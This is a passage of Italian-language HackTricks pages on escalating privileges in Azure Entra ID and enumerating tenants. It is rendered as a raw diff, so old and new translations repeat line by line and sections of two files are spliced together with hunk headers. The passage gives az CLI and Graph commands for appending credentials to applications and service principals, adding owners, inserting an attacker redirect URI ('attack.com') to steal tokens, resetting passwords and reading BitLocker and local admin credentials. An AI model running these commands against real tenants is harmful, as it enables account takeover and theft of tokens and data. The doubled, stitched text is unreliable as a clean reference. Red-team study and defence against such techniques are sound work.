Questo consente a un attaccante di **aggiungere credenziali** (password o certificati) a applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere quei privilegi.
Questo permette a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere tali privilegi.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Questo consente le stesse azioni di `applications/credentials/update`, ma limitate ad applicazioni a directory singola.
Questo consente le stesse azioni di `applications/credentials/update`, ma è limitato alle applicazioni di una singola directory.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Aggiungendosi come proprietario, un attaccante può manipolare l'applicazione, comprese le credenziali e i permessi.
Aggiungendosi come owner, un attacker può manipolare l'applicazione, incluse le credenziali e le autorizzazioni.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che utilizzano il nuovo URL di reindirizzamento per rubare i loro token. Si noti che se l'utente era già connesso all'applicazione, l'autenticazione sarà automatica senza che l'utente debba accettare nulla.
Un attacker può aggiungere un redirect URI alle applications che sono utilizzate dagli users del tenant e poi condividere con loro login URLs che usano il nuovo redirect URI per rubare i loro tokens. Nota che se lo user era già logged in nell'application, l'autentication avverrà automaticamente senza che lo user debba accettare nulla.
Si noti che è anche possibile modificare le autorizzazioni richieste dall'applicazione per ottenere più autorizzazioni, ma in questo caso l'utente dovrà accettare nuovamente il prompt che chiede tutte le autorizzazioni.
Nota che è anche possibile cambiare le permissions che l'application richiede per ottenere più permissions, ma in questo caso lo user dovrà accettare di nuovo il prompt che richiede tutte le permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Applications Privilege Escalation
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate loro. Un API Permission (come chiamato nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API e eseguire azioni senza un contesto utente (senza un user login nell'app), e senza che siano necessari ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **high privileged applications in every Entra ID tenant**.
Quindi, se un attaccante ha qualsiasi permission/role che permette di **update the credentials (segreto o certificato) of the application**, l'attaccante può generare una nuova credential e poi usarla per **authenticate as the application**, ottenendo tutti i permessi che l'applicazione possiede.
Nota che il blog menzionato condivide alcune **API permissions** di comuni Microsoft default applications; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile fare login come Microsoft applications. Rimane comunque possibile trovare **custom applications with high privileges that could be abused**.
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Questo consente a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
Questo permette a un attacker di aggiungere credenziali a service principals esistenti. Se il service principal ha elevated privileges, l'attacker può assumere tali privileges.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> La nuova password generata non apparirà nella console web, quindi questo potrebbe essere un modo furtivo per mantenere la persistenza su un service principal.\
> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere persistenza su un service principal.\
> Dall'API possono essere trovati con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarla. Per farlo hai bisogno di un permesso (`microsoft.directory/applications/allProperties/update`) che ti consente di eseguire:
Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** del service principal e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti permette di eseguire:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Questo consente a un attaccante di aggiungere credenziali a service principal esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Simile alle applicazioni, questo permesso consente di aggiungere ulteriori proprietari a un service principal. Possedere un service principal consente di controllare le sue credenziali e i permessi.
Simile alle applications, questa permission permette di aggiungere altri owners a un service principal. Possedere un service principal permette di controllare le sue credentials e permissions.
```bash
# Add new owner
spId="<spId>"
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Dopo aver aggiunto un nuovo proprietario, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per eliminare il proprietario. Quindi **non puoi rimuovere i proprietari al giorno d'oggi**.
> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l'owner. Quindi **non puoi rimuovere gli owner al momento**.
### `microsoft.directory/servicePrincipals/disable` e `enable`
### `microsoft.directory/servicePrincipals/disable` and `enable`
Queste autorizzazioni consentono di disabilitare e abilitare i service principal. Un attaccante potrebbe utilizzare questa autorizzazione per abilitare un service principal a cui potrebbe accedere in qualche modo per escalare i privilegi.
Questi permessi consentono di disabilitare e abilitare i service principals. Un attaccante potrebbe usare questo permesso per abilitare un service principal a cui riesce ad accedere in qualche modo per escalate privileges.
Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori autorizzazioni per prendere il controllo del service principal abilitato.
Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori permessi per poter prendere il controllo del service principal abilitato.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Queste autorizzazioni consentono di creare e ottenere credenziali per il single sign-on che potrebbero consentire l'accesso a applicazioni di terze parti.
Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe permettere l'accesso ad applicazioni di terze parti.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -164,44 +277,36 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### Applicazioni Privilege Escalation
**Come spiegato in [questo post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate a loro. Un'API Permission (come chiamata nella console di Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API senza un contesto utente (senza un accesso utente all'app), e senza necessitare di ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **applicazioni ad alta privilegio in ogni tenant di Entra ID**.
Quindi, se un attaccante ha qualche permesso/ruolo che consente di **aggiornare le credenziali (segreto o certificato) dell'applicazione**, l'attaccante può generare una nuova credenziale e poi usarla per **autenticarsi come l'applicazione**, guadagnando tutti i permessi che l'applicazione ha.
Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni predefinite di Microsoft, tuttavia, qualche tempo dopo questo rapporto Microsoft ha risolto questo problema e ora non è più possibile accedere come applicazioni Microsoft. Tuttavia, è ancora possibile trovare **applicazioni personalizzate con privilegi elevati che potrebbero essere abusate**.
---
## Gruppi
### `microsoft.directory/groups/allProperties/update`
Questo permesso consente di aggiungere utenti a gruppi privilegiati, portando a un'escalation di privilegi.
Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, causando un'escalation dei privilegi.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
### `microsoft.directory/groups/owners/update`
Questo permesso consente di diventare un proprietario di gruppi. Un proprietario di un gruppo può controllare l'appartenenza e le impostazioni del gruppo, potenzialmente aumentando i privilegi nel gruppo.
Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare i membri e le impostazioni del gruppo, potenzialmente elevando i privilegi tramite il gruppo.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
Questo permesso consente di aggiungere membri a un gruppo. Un attaccante potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, concedendo accesso elevato.
Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, il che può concedere privilegi elevati.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Questo permesso consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attaccante potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un'aggiunta esplicita.
Questa autorizzazione consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includersi in gruppi privilegiati senza un'aggiunta esplicita.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -214,9 +319,9 @@ az rest --method PATCH \
```
**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
### Privesc dei Gruppi Dinamici
### Dynamic Groups Privesc
Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di gruppi dinamici. Per ulteriori informazioni controlla:
Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di dynamic groups. Per maggiori informazioni consulta:
{{#ref}}
dynamic-groups.md
@@ -226,13 +331,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Questo permesso consente di reimpostare la password per utenti non amministratori, permettendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questo permesso non può essere assegnato a ruoli personalizzati.
Questa autorizzazione permette di reimpostare la password di utenti non amministratori, consentendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questa autorizzazione non può essere assegnata ai ruoli personalizzati.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
Questo privilegio consente di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà, pertanto, questo permesso potrebbe consentire a un utente di impostare il valore della proprietà necessario per essere membro di un gruppo dinamico specifico e ottenere privilegi elevati.
Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; pertanto questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di uno specifico dynamic group e escalate privileges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -248,9 +353,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Politiche di Accesso Condizionale e bypass MFA
## Policy di Accesso Condizionale & bypass MFA
Le politiche di accesso condizionale mal configurate che richiedono MFA possono essere eluse, controlla:
Policy di accesso condizionale mal configurate che richiedono MFA potrebbero essere bypassate, controlla:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Questa autorizzazione consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo.
Questo permesso consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -271,7 +376,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Questo permesso consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o per eludere le politiche di sicurezza.
Questa autorizzazione consente agli attaccanti di associare il proprio account ai dispositivi per ottenere l'accesso o eludere le politiche di sicurezza.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -282,7 +387,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Questa autorizzazione consente agli attaccanti di leggere le proprietà delle credenziali dell'account amministratore locale di backup per i dispositivi uniti a Microsoft Entra, inclusa la password.
Questa autorizzazione permette agli attaccanti di leggere le proprietà delle credenziali di backup dell'account amministratore locale per i dispositivi uniti a Microsoft Entra, inclusa la password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +402,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Questo permesso consente di accedere alle chiavi di BitLocker, il che potrebbe consentire a un attaccante di decrittografare i dischi, compromettendo la riservatezza dei dati.
Questa autorizzazione consente l'accesso alle BitLocker keys, il che potrebbe permettere a un attaccante di decrittare le unità, compromettendo la riservatezza dei dati.
```bash
# List recovery keys
az rest --method GET \
@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di base
## Basic Information
Azure Active Directory (Azure AD) è il servizio cloud di Microsoft per identity and access management. È fondamentale per permettere agli utenti di effettuare sign in e ottenere accesso a risorse sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, the Azure portal e molte altre applicazioni SaaS. La progettazione di Azure AD si concentra nel fornire servizi di identità essenziali, includendo in particolare **authentication, authorization, and user management**.
Azure Active Directory (Azure AD) è il servizio basato sul cloud di Microsoft per la gestione delle identità e degli accessi. È fondamentale per permettere ai dipendenti di effettuare il sign-in e ottenere accesso alle risorse, sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, il portale di Azure e molte altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura dei servizi di identità essenziali, in particolare autenticazione, autorizzazione e gestione degli utenti.
Le funzionalità chiave di Azure AD comprendono **multi-factor authentication** e **conditional access**, oltre a un'integrazione fluida con altri Microsoft security services. Queste funzionalità aumentano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare e far rispettare efficacemente le proprie politiche di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata su cloud delle identità utente.
Le funzionalità chiave di Azure AD includono autenticazione multi-fattore e accesso condizionale, oltre a un'integrazione senza soluzione di continuità con altri servizi di sicurezza Microsoft. Queste funzionalità elevano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare ed applicare efficacemente le proprie policy di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata sul cloud delle identità degli utenti.
## Enumerazione
## Enumeration
### **Connessione**
### **Connection**
{{#tabs }}
{{#tab name="az cli" }}
@@ -185,9 +185,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Quando ti **login** tramite **CLI** su Azure con qualsiasi programma, stai usando una **Azure Application** di un **tenant** che appartiene a **Microsoft**. Queste Application, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **liste di applicazioni consentite** visibili nella console, **ma sono consentite di default**.
Quando effettui il **login** via **CLI** in Azure con qualsiasi programma, stai usando un'**Azure Application** da un **tenant** che appartiene a **Microsoft**. Queste Applications, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **allowed applications lists** che puoi vedere nella console, **ma sono consentite di default**.
Ad esempio, uno **powershell script** che **autentica** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, un sysadmin potrebbe **bloccare quell'applicazione** in modo che gli utenti non possano accedere usando strumenti che si connettono tramite quell'App.
Per esempio uno **powershell script** che **authenticates** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, uno **sysadmin** potrebbe **bloccare quell'applicazione** così gli utenti non possono accedere usando tool che si connettono tramite quell'App.
Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti ad Azure**:
```bash
@@ -227,7 +227,7 @@ az account tenant list
### Utenti
Per ulteriori informazioni sugli utenti Entra ID consulta:
Per maggiori informazioni sugli utenti Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -358,7 +358,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtab }}
{{#endtabs }}
#### Cambiare la password dell'utente
#### Cambia la password dell'utente
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force
@@ -366,7 +366,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA & Conditional Access Policies
È fortemente raccomandato abilitare MFA per ogni utente; tuttavia alcune aziende non lo impostano o lo configurano tramite Conditional Access: all'utente verrà **richiesto MFA se** effettua l'accesso da una posizione, browser o altra condizione specifica. Queste policy, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
È altamente consigliato abilitare MFA per ogni utente; tuttavia, alcune aziende non lo impostano oppure lo configurano con una Conditional Access: all'utente verrà **richiesto MFA se** effettua il login da una posizione specifica, browser o **in certe condizioni**. Queste policies, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
### Gruppi
Per maggiori informazioni sui gruppi di Entra ID consulta:
Per maggiori informazioni sui gruppi Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
#### Aggiungi utente al gruppo
I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
I proprietari del gruppo possono aggiungere nuovi utenti al gruppo.
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Ovviamente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, questo può permettere di abusare di questa funzionalità per **entrare in altri gruppi**.\
> Controlla come abusare dei gruppi dinamici nella seguente pagina:
> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, egli potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
> Consulta come abusare dei gruppi dinamici nella pagina seguente:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### Service Principals
Per maggiori informazioni sui service principals di Entra ID consulta:
Per maggiori informazioni sui Service Principals di Entra ID consulta:
{{#ref}}
../az-basic-information/
@@ -602,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
<details>
<summary>Elenca e prova ad aggiungere un client secret su ogni Enterprise App</summary>
<summary>Elenca e prova ad aggiungere un client secret per ogni Enterprise App</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -717,8 +717,8 @@ Per maggiori informazioni sulle Applicazioni consulta:
Quando viene generata un'App vengono assegnati 2 tipi di autorizzazioni:
- **Permissions** assegnate al **Service Principal**
- **Permissions** che la **app** può avere e utilizzare per conto dell'**utente**.
- **Autorizzazioni** assegnate al **Service Principal**
- **Autorizzazioni** che l'**app** può avere e usare per **conto dell'utente**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
{{#endtab }}
{{#tab name="Az" }}
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalare a Global Admin** concedendosi il ruolo.\
> Per maggiori informazioni [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalate to Global Admin** concedendosi quel ruolo.\
> Per maggiori informazioni [**vedi**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> Una stringa segreta che l'applicazione usa per dimostrare la propria identità quando richiede un token è l'application password.\
> Quindi, se trovi questa **password** puoi accedere come **service principal** all'interno del **tenant**.\
> Una stringa segreta che l'application usa per dimostrare la sua identità quando richiede un token è la application **password**.\
> Quindi, se trovi questa **password** puoi accedere come il **service principal** **inside** il **tenant**.\
> Nota che questa password è visibile solo al momento della generazione (puoi cambiarla ma non puoi ottenerla di nuovo).\
> Il **proprietario** dell'**applicazione** può **aggiungere una password** ad essa (così può impersonarla).\
> Gli accessi come questi **service principal** non sono **segnalati come rischiosi** e non avranno **MFA**.
> Il **owner** della **application** può **add a password** ad essa (quindi può impersonarla).\
> I login come questi service principals sono **not marked as risky** e **won't have MFA.**
È possibile trovare una lista di App IDs comunemente usati che appartengono a Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
Per maggiori informazioni su Managed Identities consulta:
For more information about Managed Identities check:
{{#ref}}
../az-basic-information/
@@ -937,7 +1012,7 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
